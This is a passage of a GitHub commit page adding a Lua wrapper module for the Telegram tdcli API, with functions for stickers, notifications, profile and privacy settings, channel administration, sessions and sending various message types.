viewTrendingStickerSets(sticker_set_ids, dl_cb, cmd) + tdcli_function ({ + ID = "ViewTrendingStickerSets", + sticker_set_ids_ = sticker_set_ids -- vector + }, dl_cb, cmd) +end + +M.viewTrendingStickerSets = viewTrendingStickerSets + +-- Changes the order of installed sticker sets +-- @is_masks Pass true to change masks order, pass false to change stickers order +-- @sticker_set_ids Identifiers of installed sticker sets in the new right order +local function reorderStickerSets(is_masks, sticker_set_ids, dl_cb, cmd) + tdcli_function ({ + ID = "ReorderStickerSets", + is_masks_ = is_masks, + sticker_set_ids_ = sticker_set_ids -- vector + }, dl_cb, cmd) +end + +M.reorderStickerSets = reorderStickerSets + +-- Returns list of recently used stickers +-- @is_attached Pass true to return stickers and masks recently attached to photo or video files, pass false to return recently sent stickers +local function getRecentStickers(is_attached, dl_cb, cmd) + tdcli_function ({ + ID = "GetRecentStickers", + is_attached_ = is_attached + }, dl_cb, cmd) +end + +M.getRecentStickers = getRecentStickers + +-- Manually adds new sticker to the list of recently used stickers. +-- New sticker is added to the beginning of the list. +-- If the sticker is already in the list, at first it is removed from the list +-- @is_attached Pass true to add the sticker to the list of stickers recently attached to photo or video files, pass false to add the sticker to the list of recently sent stickers +-- @sticker Sticker file to add +local function addRecentSticker(is_attached, sticker, dl_cb, cmd) + tdcli_function ({ + ID = "AddRecentSticker", + is_attached_ = is_attached, + sticker_ = getInputFile(sticker) + }, dl_cb, cmd) +end + +M.addRecentSticker = addRecentSticker + +-- Removes a sticker from the list of recently used stickers +-- @is_attached Pass true to remove the sticker from the list of stickers recently attached to photo or video files, pass false to remove the sticker from the list of recently sent stickers +-- @sticker Sticker file to delete +local function deleteRecentSticker(is_attached, sticker, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteRecentSticker", + is_attached_ = is_attached, + sticker_ = getInputFile(sticker) + }, dl_cb, cmd) +end + +M.deleteRecentSticker = deleteRecentSticker + +-- Clears list of recently used stickers +-- @is_attached Pass true to clear list of stickers recently attached to photo or video files, pass false to clear the list of recently sent stickers +local function clearRecentStickers(is_attached, dl_cb, cmd) + tdcli_function ({ + ID = "ClearRecentStickers", + is_attached_ = is_attached + }, dl_cb, cmd) +end + +M.clearRecentStickers = clearRecentStickers + +-- Returns emojis corresponding to a sticker +-- @sticker Sticker file identifier +local function getStickerEmojis(sticker, dl_cb, cmd) + tdcli_function ({ + ID = "GetStickerEmojis", + sticker_ = getInputFile(sticker) + }, dl_cb, cmd) +end + +M.getStickerEmojis = getStickerEmojis + +-- Returns saved animations +local function getSavedAnimations(dl_cb, cmd) + tdcli_function ({ + ID = "GetSavedAnimations", + }, dl_cb, cmd) +end + +M.getSavedAnimations = getSavedAnimations + +-- Manually adds new animation to the list of saved animations. +-- New animation is added to the beginning of the list. +-- If the animation is already in the list, at first it is removed from the list. +-- Only non-secret video animations with MIME type "video/mp4" can be added to the list +-- @animation Animation file to add. Only known to server animations (i. e. successfully sent via message) can be added to the list +local function addSavedAnimation(animation, dl_cb, cmd) + tdcli_function ({ + ID = "AddSavedAnimation", + animation_ = getInputFile(animation) + }, dl_cb, cmd) +end + +M.addSavedAnimation = addSavedAnimation + +-- Removes animation from the list of saved animations +-- @animation Animation file to delete +local function deleteSavedAnimation(animation, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteSavedAnimation", + animation_ = getInputFile(animation) + }, dl_cb, cmd) +end + +M.deleteSavedAnimation = deleteSavedAnimation + +-- Returns up to 20 recently used inline bots in the order of the last usage +local function getRecentInlineBots(dl_cb, cmd) + tdcli_function ({ + ID = "GetRecentInlineBots", + }, dl_cb, cmd) +end + +M.getRecentInlineBots = getRecentInlineBots + +-- Get web page preview by text of the message. +-- Do not call this function to often +-- @message_text Message text +local function getWebPagePreview(message_text, dl_cb, cmd) + tdcli_function ({ + ID = "GetWebPagePreview", + message_text_ = message_text + }, dl_cb, cmd) +end + +M.getWebPagePreview = getWebPagePreview + +-- Returns notification settings for a given scope +-- @scope Scope to return information about notification settings +-- scope = Chat(chat_id)|PrivateChats|GroupChats|AllChats| +local function getNotificationSettings(scope, chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetNotificationSettings", + scope_ = { + ID = 'NotificationSettingsFor' .. scope, + chat_id_ = chat_id or nil + }, + }, dl_cb, cmd) +end + +M.getNotificationSettings = getNotificationSettings + +-- Changes notification settings for a given scope +-- @scope Scope to change notification settings +-- @notification_settings New notification settings for given scope +-- scope = Chat(chat_id)|PrivateChats|GroupChats|AllChats| +local function setNotificationSettings(scope, chat_id, mute_for, show_preview, dl_cb, cmd) + tdcli_function ({ + ID = "SetNotificationSettings", + scope_ = { + ID = 'NotificationSettingsFor' .. scope, + chat_id_ = chat_id or nil + }, + notification_settings_ = { + ID = "NotificationSettings", + mute_for_ = mute_for, + sound_ = "default", + show_preview_ = show_preview + } + }, dl_cb, cmd) +end + +M.setNotificationSettings = setNotificationSettings + +-- Resets all notification settings to the default value. +-- By default the only muted chats are supergroups, sound is set to 'default' and message previews are showed +local function resetAllNotificationSettings(dl_cb, cmd) + tdcli_function ({ + ID = "ResetAllNotificationSettings" + }, dl_cb, cmd) +end + +M.resetAllNotificationSettings = resetAllNotificationSettings + +-- Uploads new profile photo for logged in user. +-- Photo will not change until change will be synchronized with the server. +-- Photo will not be changed if application is killed before it can send request to the server. +-- If something changes, updateUser will be sent +-- @photo_path Path to new profile photo +local function setProfilePhoto(photo_path, dl_cb, cmd) + tdcli_function ({ + ID = "SetProfilePhoto", + photo_path_ = photo_path + }, dl_cb, cmd) +end + +M.setProfilePhoto = setProfilePhoto + +-- Deletes profile photo. +-- If something changes, updateUser will be sent +-- @profile_photo_id Identifier of profile photo to delete +local function deleteProfilePhoto(profile_photo_id, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteProfilePhoto", + profile_photo_id_ = profile_photo_id + }, dl_cb, cmd) +end + +M.deleteProfilePhoto = deleteProfilePhoto + +-- Changes first and last names of logged in user. +-- If something changes, updateUser will be sent +-- @first_name New value of user first name, 1-255 characters +-- @last_name New value of optional user last name, 0-255 characters +local function changeName(first_name, last_name, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeName", + first_name_ = first_name, + last_name_ = last_name + }, dl_cb, cmd) +end + +M.changeName = changeName + +-- Changes about information of logged in user +-- @about New value of userFull.about, 0-255 characters +local function changeAbout(about, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeAbout", + about_ = about + }, dl_cb, cmd) +end + +M.changeAbout = changeAbout + +-- Changes username of logged in user. +-- If something changes, updateUser will be sent +-- @username New value of username. Use empty string to remove username +local function changeUsername(username, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeUsername", + username_ = username + }, dl_cb, cmd) +end + +M.changeUsername = changeUsername + +-- Changes user's phone number and sends authentication code to the new user's phone number. +-- Returns authStateWaitCode with information about sent code on success +-- @phone_number New user's phone number in any reasonable format +-- @allow_flash_call Pass True, if code can be sent via flash call to the specified phone number +-- @is_current_phone_number Pass true, if the phone number is used on the current device. Ignored if allow_flash_call is False +local function changePhoneNumber(phone_number, allow_flash_call, is_current_phone_number, dl_cb, cmd) + tdcli_function ({ + ID = "ChangePhoneNumber", + phone_number_ = phone_number, + allow_flash_call_ = allow_flash_call, + is_current_phone_number_ = is_current_phone_number + }, dl_cb, cmd) +end + +M.changePhoneNumber = changePhoneNumber + +-- Resends authentication code sent to change user's phone number. +-- Works only if in previously received authStateWaitCode next_code_type was not null. +-- Returns authStateWaitCode on success +local function resendChangePhoneNumberCode(dl_cb, cmd) + tdcli_function ({ + ID = "ResendChangePhoneNumberCode", + }, dl_cb, cmd) +end + +M.resendChangePhoneNumberCode = resendChangePhoneNumberCode + +-- Checks authentication code sent to change user's phone number. +-- Returns authStateOk on success +-- @code Verification code from SMS, voice call or flash call +local function checkChangePhoneNumberCode(code, dl_cb, cmd) + tdcli_function ({ + ID = "CheckChangePhoneNumberCode", + code_ = code + }, dl_cb, cmd) +end + +M.checkChangePhoneNumberCode = checkChangePhoneNumberCode + +-- Returns all active sessions of logged in user +local function getActiveSessions(dl_cb, cmd) + tdcli_function ({ + ID = "GetActiveSessions", + }, dl_cb, cmd) +end + +M.getActiveSessions = getActiveSessions + +-- Terminates another session of logged in user +-- @session_id Session identifier +local function terminateSession(session_id, dl_cb, cmd) + tdcli_function ({ + ID = "TerminateSession", + session_id_ = session_id + }, dl_cb, cmd) +end + +M.terminateSession = terminateSession + +-- Terminates all other sessions of logged in user +local function terminateAllOtherSessions(dl_cb, cmd) + tdcli_function ({ + ID = "TerminateAllOtherSessions", + }, dl_cb, cmd) +end + +M.terminateAllOtherSessions = terminateAllOtherSessions + +-- Gives or revokes all members of the group editor rights. +-- Needs creator privileges in the group +-- @group_id Identifier of the group +-- @anyone_can_edit New value of anyone_can_edit +local function toggleGroupEditors(group_id, anyone_can_edit, dl_cb, cmd) + tdcli_function ({ + ID = "ToggleGroupEditors", + group_id_ = getChatId(group_id).ID, + anyone_can_edit_ = anyone_can_edit + }, dl_cb, cmd) +end + +M.toggleGroupEditors = toggleGroupEditors + +-- Changes username of the channel. +-- Needs creator privileges in the channel +-- @channel_id Identifier of the channel +-- @username New value of username. Use empty string to remove username +local function changeChannelUsername(channel_id, username, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChannelUsername", + channel_id_ = getChatId(channel_id).ID, + username_ = username + }, dl_cb, cmd) +end + +M.changeChannelUsername = changeChannelUsername + +-- Gives or revokes right to invite new members to all current members of the channel. +-- Needs creator privileges in the channel. +-- Available only for supergroups +-- @channel_id Identifier of the channel +-- @anyone_can_invite New value of anyone_can_invite +local function toggleChannelInvites(channel_id, anyone_can_invite, dl_cb, cmd) + tdcli_function ({ + ID = "ToggleChannelInvites", + channel_id_ = getChatId(channel_id).ID, + anyone_can_invite_ = anyone_can_invite + }, dl_cb, cmd) +end + +M.toggleChannelInvites = toggleChannelInvites + +-- Enables or disables sender signature on sent messages in the channel. +-- Needs creator privileges in the channel. +-- Not available for supergroups +-- @channel_id Identifier of the channel +-- @sign_messages New value of sign_messages +local function toggleChannelSignMessages(channel_id, sign_messages, dl_cb, cmd) + tdcli_function ({ + ID = "ToggleChannelSignMessages", + channel_id_ = getChatId(channel_id).ID, + sign_messages_ = sign_messages + }, dl_cb, cmd) +end + +M.toggleChannelSignMessages = toggleChannelSignMessages + +-- Changes information about the channel. +-- Needs creator privileges in the broadcast channel or editor privileges in the supergroup channel +-- @channel_id Identifier of the channel +-- @about New value of about, 0-255 characters +local function changeChannelAbout(channel_id, about, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChannelAbout", + channel_id_ = getChatId(channel_id).ID, + about_ = about + }, dl_cb, cmd) +end + +M.changeChannelAbout = changeChannelAbout + +-- Pins a message in a supergroup channel chat. +-- Needs editor privileges in the channel +-- @channel_id Identifier of the channel +-- @message_id Identifier of the new pinned message +-- @disable_notification True, if there should be no notification about the pinned message +local function pinChannelMessage(channel_id, message_id, disable_notification, dl_cb, cmd) + tdcli_function ({ + ID = "PinChannelMessage", + channel_id_ = getChatId(channel_id).ID, + message_id_ = message_id, + disable_notification_ = disable_notification + }, dl_cb, cmd) +end + +M.pinChannelMessage = pinChannelMessage + +-- Removes pinned message in the supergroup channel. +-- Needs editor privileges in the channel +-- @channel_id Identifier of the channel +local function unpinChannelMessage(channel_id, dl_cb, cmd) + tdcli_function ({ + ID = "UnpinChannelMessage", + channel_id_ = getChatId(channel_id).ID + }, dl_cb, cmd) +end + +M.unpinChannelMessage = unpinChannelMessage + +-- Reports some supergroup channel messages from a user as spam messages +-- @channel_id Channel identifier +-- @user_id User identifier +-- @message_ids Identifiers of messages sent in the supergroup by the user, the list should be non-empty +local function reportChannelSpam(channel_id, user_id, message_ids, dl_cb, cmd) + tdcli_function ({ + ID = "ReportChannelSpam", + channel_id_ = getChatId(channel_id).ID, + user_id_ = user_id, + message_ids_ = message_ids -- vector + }, dl_cb, cmd) +end + +M.reportChannelSpam = reportChannelSpam + +-- Returns information about channel members or kicked from channel users. +-- Can be used only if channel_full->can_get_members == true +-- @channel_id Identifier of the channel +-- @filter Kind of channel users to return, defaults to channelMembersRecent +-- @offset Number of channel users to skip +-- @limit Maximum number of users be returned, can't be greater than 200 +-- filter = Recent|Administrators|Kicked|Bots +local function getChannelMembers(channel_id, offset, filter, limit, dl_cb, cmd) + if not limit or limit > 200 then + limit = 200 + end + + tdcli_function ({ + ID = "GetChannelMembers", + channel_id_ = getChatId(channel_id).ID, + filter_ = { + ID = "ChannelMembers" .. filter + }, + offset_ = offset, + limit_ = limit + }, dl_cb, cmd) +end + +M.getChannelMembers = getChannelMembers + +-- Deletes channel along with all messages in corresponding chat. +-- Releases channel username and removes all members. +-- Needs creator privileges in the channel. +-- Channels with more than 1000 members can't be deleted +-- @channel_id Identifier of the channel +local function deleteChannel(channel_id, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteChannel", + channel_id_ = getChatId(channel_id).ID + }, dl_cb, cmd) +end + +M.deleteChannel = deleteChannel + +-- Returns list of created public channels +local function getCreatedPublicChannels(dl_cb, cmd) + tdcli_function ({ + ID = "GetCreatedPublicChannels" + }, dl_cb, cmd) +end + +M.getCreatedPublicChannels = getCreatedPublicChannels + +-- Closes secret chat +-- @secret_chat_id Secret chat identifier +local function closeSecretChat(secret_chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "CloseSecretChat", + secret_chat_id_ = secret_chat_id + }, dl_cb, cmd) +end + +M.closeSecretChat = closeSecretChat + +-- Returns user that can be contacted to get support +local function getSupportUser(dl_cb, cmd) + tdcli_function ({ + ID = "GetSupportUser", + }, dl_cb, cmd) +end + +M.getSupportUser = getSupportUser + +-- Returns background wallpapers +local function getWallpapers(dl_cb, cmd) + tdcli_function ({ + ID = "GetWallpapers", + }, dl_cb, cmd) +end + +M.getWallpapers = getWallpapers + +-- Registers current used device for receiving push notifications +-- @device_token Device token +-- device_token = apns|gcm|mpns|simplePush|ubuntuPhone|blackberry +local function registerDevice(device_token, token, device_token_set, dl_cb, cmd) + local dToken = {ID = device_token .. 'DeviceToken', token_ = token} + + if device_token_set then + dToken = {ID = "DeviceTokenSet", token_ = device_token_set} -- tokens:vector<DeviceToken> + end + + tdcli_function ({ + ID = "RegisterDevice", + device_token_ = dToken + }, dl_cb, cmd) +end + +M.registerDevice = registerDevice + +-- Returns list of used device tokens +local function getDeviceTokens(dl_cb, cmd) + tdcli_function ({ + ID = "GetDeviceTokens", + }, dl_cb, cmd) +end + +M.getDeviceTokens = getDeviceTokens + +-- Changes privacy settings +-- @key Privacy key +-- @rules New privacy rules +-- @privacyKeyUserStatus Privacy key for managing visibility of the user status +-- @privacyKeyChatInvite Privacy key for managing ability of invitation of the user to chats +-- @privacyRuleAllowAll Rule to allow all users +-- @privacyRuleAllowContacts Rule to allow all user contacts +-- @privacyRuleAllowUsers Rule to allow specified users +-- @user_ids User identifiers +-- @privacyRuleDisallowAll Rule to disallow all users +-- @privacyRuleDisallowContacts Rule to disallow all user contacts +-- @privacyRuleDisallowUsers Rule to disallow all specified users +-- key = UserStatus|ChatInvite +-- rules = AllowAll|AllowContacts|AllowUsers(user_ids)|DisallowAll|DisallowContacts|DisallowUsers(user_ids) +local function setPrivacy(key, rule, allowed_user_ids, disallowed_user_ids, dl_cb, cmd) + local rules = {[0] = {ID = 'PrivacyRule' .. rule}} + + if allowed_user_ids then + rules = { + { + ID = 'PrivacyRule' .. rule + }, + [0] = { + ID = "PrivacyRuleAllowUsers", + user_ids_ = allowed_user_ids -- vector + }, + } + end + if disallowed_user_ids then + rules = { + { + ID = 'PrivacyRule' .. rule + }, + [0] = { + ID = "PrivacyRuleDisallowUsers", + user_ids_ = disallowed_user_ids -- vector + }, + } + end + if allowed_user_ids and disallowed_user_ids then + rules = { + { + ID = 'PrivacyRule' .. rule + }, + { + ID = "PrivacyRuleAllowUsers", + user_ids_ = allowed_user_ids + }, + [0] = { + ID = "PrivacyRuleDisallowUsers", + user_ids_ = disallowed_user_ids + }, + } + end + tdcli_function ({ + ID = "SetPrivacy", + key_ = { + ID = 'PrivacyKey' .. key + }, + rules_ = { + ID = "PrivacyRules", + rules_ = rules + }, + }, dl_cb, cmd) +end + +M.setPrivacy = setPrivacy + +-- Returns current privacy settings +-- @key Privacy key +-- key = UserStatus|ChatInvite +local function getPrivacy(key, dl_cb, cmd) + tdcli_function ({ + ID = "GetPrivacy", + key_ = { + ID = "PrivacyKey" .. key + }, + }, dl_cb, cmd) +end + +M.getPrivacy = getPrivacy + +-- Returns value of an option by its name. +-- See list of available options on https://core.telegram.org/tdlib/options +-- @name Name of the option +local function getOption(name, dl_cb, cmd) + tdcli_function ({ + ID = "GetOption", + name_ = name + }, dl_cb, cmd) +end + +M.getOption = getOption + +-- Sets value of an option. +-- See list of available options on https://core.telegram.org/tdlib/options. +-- Only writable options can be set +-- @name Name of the option +-- @value New value of the option +local function setOption(name, option, value, dl_cb, cmd) + tdcli_function ({ + ID = "SetOption", + name_ = name, + value_ = { + ID = 'Option' .. option, + value_ = value + }, + }, dl_cb, cmd) +end + +M.setOption = setOption + +-- Changes period of inactivity, after which the account of currently logged in user will be automatically deleted +-- @ttl New account TTL +local function changeAccountTtl(days, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeAccountTtl", + ttl_ = { + ID = "AccountTtl", + days_ = days + }, + }, dl_cb, cmd) +end + +M.changeAccountTtl = changeAccountTtl + +-- Returns period of inactivity, after which the account of currently logged in user will be automatically deleted +local function getAccountTtl(dl_cb, cmd) + tdcli_function ({ + ID = "GetAccountTtl", + }, dl_cb, cmd) +end + +M.getAccountTtl = getAccountTtl + +-- Deletes the account of currently logged in user, deleting from the server all information associated with it. +-- Account's phone number can be used to create new account, but only once in two weeks +-- @reason Optional reason of account deletion +local function deleteAccount(reason, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteAccount", + reason_ = reason + }, dl_cb, cmd) +end + +M.deleteAccount = deleteAccount + +-- Returns current chat report spam state +-- @chat_id Chat identifier +local function getChatReportSpamState(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetChatReportSpamState", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.getChatReportSpamState = getChatReportSpamState + +-- Reports chat as a spam chat or as not a spam chat. +-- Can be used only if ChatReportSpamState.can_report_spam is true. +-- After this request ChatReportSpamState.can_report_spam became false forever +-- @chat_id Chat identifier +-- @is_spam_chat If true, chat will be reported as a spam chat, otherwise it will be marked as not a spam chat +local function changeChatReportSpamState(chat_id, is_spam_chat, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChatReportSpamState", + chat_id_ = chat_id, + is_spam_chat_ = is_spam_chat + }, dl_cb, cmd) +end + +M.changeChatReportSpamState = changeChatReportSpamState + +-- Bots only. +-- Informs server about number of pending bot updates if they aren't processed for a long time +-- @pending_update_count Number of pending updates +-- @error_message Last error's message +local function setBotUpdatesStatus(pending_update_count, error_message, dl_cb, cmd) + tdcli_function ({ + ID = "SetBotUpdatesStatus", + pending_update_count_ = pending_update_count, + error_message_ = error_message + }, dl_cb, cmd) +end + +M.setBotUpdatesStatus = setBotUpdatesStatus + +-- Returns Ok after specified amount of the time passed +-- @seconds Number of seconds before that function returns +local function setAlarm(seconds, dl_cb, cmd) + tdcli_function ({ + ID = "SetAlarm", + seconds_ = seconds + }, dl_cb, cmd) +end + +M.setAlarm = setAlarm + +-- Text message +-- @text Text to send +-- @disable_notification Pass true, to disable notification about the message, doesn't works in secret chats +-- @from_background Pass true, if the message is sent from background +-- @reply_markup Bots only. Markup for replying to message +-- @disable_web_page_preview Pass true to disable rich preview for link in the message text +-- @clear_draft Pass true if chat draft message should be deleted +-- @entities Bold, Italic, Code, Pre, PreCode and TextUrl entities contained in the text. Non-bot users can't use TextUrl entities. Can't be used with non-null parse_mode +-- @parse_mode Text parse mode, nullable. Can't be used along with enitities +local function sendMessage(chat_id, reply_to_message_id, disable_notification, text, disable_web_page_preview, parse_mode) + local TextParseMode = getParseMode(parse_mode) + + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = 1, + reply_markup_ = nil, + input_message_content_ = { + ID = "InputMessageText", + text_ = text, + disable_web_page_preview_ = disable_web_page_preview, + clear_draft_ = 0, + entities_ = {}, + parse_mode_ = TextParseMode, + }, + }, dl_cb, nil) +end + +M.sendMessage = sendMessage + +-- Animation message +-- @animation Animation file to send +-- @thumb Animation thumb, if available +-- @width Width of the animation, may be replaced by the server +-- @height Height of the animation, may be replaced by the server +-- @caption Animation caption, 0-200 characters +local function sendAnimation(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, animation, width, height, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageAnimation", + animation_ = getInputFile(animation), + --thumb_ = { + --ID = "InputThumb", + --path_ = path, + --width_ = width, + --height_ = height + --}, + width_ = width or '', + height_ = height or '', + caption_ = caption or '' + }, + }, dl_cb, cmd) +end + +M.sendAnimation = sendAnimation + +-- Audio message +-- @audio Audio file to send +-- @album_cover_thumb Thumb of the album's cover, if available +-- @duration Duration of audio in seconds, may be replaced by the server +-- @title Title of the audio, 0-64 characters, may be replaced by the server +-- @performer Performer of the audio, 0-64 characters, may be replaced by the server +-- @caption Audio caption, 0-200 characters +local function sendAudio(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, audio, duration, title, performer, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageAudio", + audio_ = getInputFile(audio), + --album_cover_thumb_ = { + --ID = "InputThumb", + --path_ = path, + --width_ = width, + --height_ = height + --}, + duration_ = duration or '', + title_ = title or '', + performer_ = performer or '', + caption_ = caption or '' + }, + }, dl_cb, cmd) +end + +M.sendAudio = sendAudio + +-- Document message +-- @document Document to send +-- @thumb Document thumb, if available +-- @caption Document caption, 0-200 characters +local function sendDocument(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, document, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageDocument", + document_ = getInputFile(document), + --thumb_ = { + --ID = "InputThumb", + --path_ = path, + --width_ = width, + --height_ = height + --}, + caption_ = caption + }, + }, dl_cb, cmd) +end + +M.sendDocument = sendDocument + +-- Photo message +-- @photo Photo to send +-- @caption Photo caption, 0-200 characters +local function sendPhoto(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, photo, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessagePhoto", + photo_ = getInputFile(photo), + added_sticker_file_ids_ = {}, + width_ = 0, + height_ = 0, + caption_ = caption + }, + }, dl_cb, cmd) +end + +M.sendPhoto = sendPhoto + +-- Sticker message +-- @sticker Sticker to send +-- @thumb Sticker thumb, if available +local function sendSticker(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, sticker, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageSticker", + sticker_ = getInputFile(sticker), + --thumb_ = { + --ID = "InputThumb", + --path_ = path, + --width_ = width, + --height_ = height + --}, + }, + }, dl_cb, cmd) +end + +M.sendSticker = sendSticker + +-- Video message +-- @video Video to send +-- @thumb Video thumb, if available +-- @duration Duration of video in seconds +-- @width Video width +-- @height Video height +-- @caption Video caption, 0-200 characters +local function sendVideo(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, video, duration, width, height, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageVideo", + video_ = getInputFile(video), + --thumb_ = { + --ID = "InputThumb", + --path_ = path, + --width_ = width, + --height_ = height + --}, + added_sticker_file_ids_ = {}, + duration_ = duration or '', + width_ = width or '', + height_ = height or '', + caption_ = caption or '' + }, + }, dl_cb, cmd) +end + +M.sendVideo = sendVideo + +-- Voice message +-- @voice Voice file to send +-- @duration Duration of voice in seconds +-- @waveform Waveform representation of the voice in 5-bit format +-- @caption Voice caption, 0-200 characters +local function sendVoice(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, voice, duration, waveform, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageVoice", + voice_ = getInputFile(voice), + duration_ = duration or '', + waveform_ = waveform or '', + caption_ = caption or '' + }, + }, dl_cb, cmd) +end + +M.sendVoice = sendVoice + +-- Message with location +-- @latitude Latitude of location in degrees as defined by sender +-- @longitude Longitude of location in degrees as defined by sender +local function sendLocation(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, latitude, longitude, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageLocation", + location_ = { + ID = "Location", + latitude_ = latitude, + longitude_ = longitude + }, + }, + }, dl_cb, cmd) +end + +M.sendLocation = sendLocation + +-- Message with information about venue +-- @venue Venue to send +-- @latitude Latitude of location in degrees as defined by sender +-- @longitude Longitude of location in degrees as defined by sender +-- @title Venue name as defined by sender +-- @address Venue address as defined by sender +-- @provider Provider of venue database as defined by sender. Only "foursquare" need to be supported currently +-- @id Identifier of the venue in provider database as defined by sender +local function sendVenue(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, latitude, longitude, title, address, id, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageVenue", + venue_ = { + ID = "Venue", + location_ = { + ID = "Location", + latitude_ = latitude, + longitude_ = longitude + }, + title_ = title, + address_ = address, + provider_ = 'foursquare', + id_ = id + }, + }, + }, dl_cb, cmd) +end + +M.sendVenue = sendVenue + +-- User contact message +-- @contact Contact to send +-- @phone_number User's phone number +-- @first_name User first name, 1-255 characters +-- @last_name User last name +-- @user_id User identifier if known, 0 otherwise +local function sendContact(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, phone_number, first_name, last_name, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageContact", + contact_ = { + ID = "Contact", + phone_number_ = phone_number, + first_name_ = first_name, + last_name_ = last_name, + user_id_ = user_id + }, + }, + }, dl_cb, cmd) +end + +M.sendContact = sendContact + +-- Message with a game +-- @bot_user_id User identifier of a bot owned the game +-- @game_short_name Game short name +local function sendGame(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, bot_user_id, game_short_name, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageGame", + bot_user_id_ = bot_user_id, + game_short_name_ = game_short_name + }, + }, dl_cb, cmd) +end + +M.sendGame = sendGame + +-- Forwarded message +-- @from_chat_id Chat identifier of the message to forward +-- @message_id Identifier of the message to forward +local function sendForwarded(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, from_chat_id, message_id, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageForwarded", + from_chat_id_ = from_chat_id, + message_id_ = message_id + }, + }, dl_cb, cmd) +end + +M.sendForwarded = sendForwarded + +return M cli/tg/tgcli (Binary file not shown.) 0 comments on commit 3233fdf Comment on 3233fdf Leave a comment Comment Desktop version
EasyAbp
An abp module to avoid duplicate user phone numbers being confirmed and providing phone number confirmation and phone number login features and more.
rgajendran
Android App to add fake call logs and auto-delete your secret phone number immediately after you end the call.
insomniacs01
Monitor LLM training over SSH from your phone -GPU, loss, ETA, and logs in one mobile-first dashboard.
leoneparise
Checkout your logs in your phone 📲
ZoltCyber
